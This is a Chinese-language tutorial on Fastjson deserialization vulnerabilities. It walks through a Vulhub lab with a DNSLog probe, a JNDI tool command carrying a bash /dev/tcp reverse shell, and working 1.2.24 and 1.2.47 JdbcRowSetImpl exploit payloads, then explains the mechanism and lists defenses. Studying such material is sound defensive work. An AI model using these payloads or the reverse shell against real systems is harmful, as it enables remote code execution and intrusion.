老生常谈的fastjson安全问题,从实战深入反序列化漏洞原理
字数 1241 2025-08-10 19:49:05
Fastjson反序列化漏洞深入分析与实战
一、Fastjson安全背景
Fastjson是阿里巴巴开源的高性能JSON处理库,广泛应用于Java开发中。然而,其反序列化机制存在严重安全隐患,特别是1.2.24及以下版本存在多个高危漏洞。
漏洞特点
- 通过
@type字段可指定任意类进行实例化 - 默认开启的AutoTypeSupport功能允许自动类型转换
- 可利用JNDI/RMI等机制实现远程代码执行
二、环境搭建与漏洞复现
实验环境
- 攻击机:Kali Linux
- 漏洞环境:Vulhub中的Fastjson 1.2.47漏洞环境
漏洞验证POC
{"zeo":{"@type":"java.net.Inet4Address","val":"umzivu.dnslog.cn"}}
成功执行后可在DNSLog平台看到回显。
反弹Shell实战步骤
- 启动JNDI工具监听:
java -cp jndi_tool.jar jndi.EvilRMIServer 1099 8888 "bash -i >&/dev/tcp/192.168.18.128/12345 0>&1"
- 攻击机监听端口:
nc -lvvp 12345
- 通过Burp发送恶意EXP:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://192.168.18.128:1099/Exploit",
"autoCommit": true
}
}
三、漏洞原理深度分析
1. 序列化与反序列化基础
Java原生序列化
public class Common implements Serializable {
private String data;
// getter/setter省略
}
// 序列化代码
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
Fastjson序列化
String json = JSON.toJSONString(obj);
对比特性:
| 特性 | Java原生序列化 | Fastjson序列化 |
|---|---|---|
| 依赖性 | Java标准库 | 需要Fastjson依赖 |
| 效率 | 较慢 | 较快 |
| 结果大小 | 较大 | 较小 |
| 接口要求 | 需实现Serializable | 无需特殊接口 |
2. Fastjson反序列化关键方法
// 反序列化为指定类型
Common obj = JSON.parseObject(json, Common.class);
// 通用反序列化
Object obj = JSON.parse(json);
3. 漏洞核心要素
@type字段
- 指定反序列化时实例化的具体类
- 攻击者可指定恶意类名
AutoTypeSupport
- 默认开启的自动类型识别功能
- 允许
@type字段解析和自动类型转换 - 从1.2.24开始默认禁用
利用链
- 通过嵌套对象和方法调用实现恶意操作
- 常见利用链:JdbcRowSetImpl、TemplatesImpl等
4. 恶意类示例
public class BadClassPerson {
// 在setter方法中执行恶意代码
public void setSex(String sex) throws IOException {
Runtime.getRuntime().exec("calc");
}
}
5. 黑名单机制
- Fastjson将危险类的全路径Hash值存入黑名单
- 反序列化时检查
@type指定的类是否在黑名单中 - 黑名单可被绕过(如1.2.47漏洞)
四、不同版本漏洞对比
1.2.24版本POC
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://ip:port/Exploit",
"autoCommit": true
}
1.2.47版本POC
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://ip:port/Test",
"autoCommit": true
}
}
五、利用链详细分析
JNDI+RMI利用方式
- 构造恶意类并编译:
public class Exploit {
public Exploit() throws IOException {
Runtime.getRuntime().exec("open -a calculator");
}
}
- 使用marshalsec开启RMI服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:1000/#Exploit" 8888
- 客户端测试代码:
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://ip:8888/Exploit\",\"autoCommit\":true}";
Object obj = JSON.parseObject(payload);
RMI服务绑定方式
// 服务端代码
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exloit", "badClassName","http://ip:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
// 客户端触发
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://ip:1099/badClassName\", \"autoCommit\":true}";
JSON.parse(payload);
六、防御措施
- 升级到最新版本Fastjson
- 关闭AutoTypeSupport:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
- 添加安全白名单:
ParserConfig.getGlobalInstance().addAccept("com.yourpackage.");
- 使用安全模式:
JSON.parse(text, Feature.SafeMode);
七、总结
Fastjson反序列化漏洞的核心在于:
@type字段可指定任意类- AutoTypeSupport功能默认开启
- 存在可利用的调用链(如JdbcRowSetImpl)
实际利用中可能遇到的问题:
- 新版本Fastjson已默认禁用AutoType
- 某些环境可能限制RMI/LDAP连接
- 操作系统差异导致命令执行失败
建议安全研究人员:
- 深入理解Java反序列化机制
- 掌握JNDI、RMI等Java特性
- 关注Fastjson官方安全更新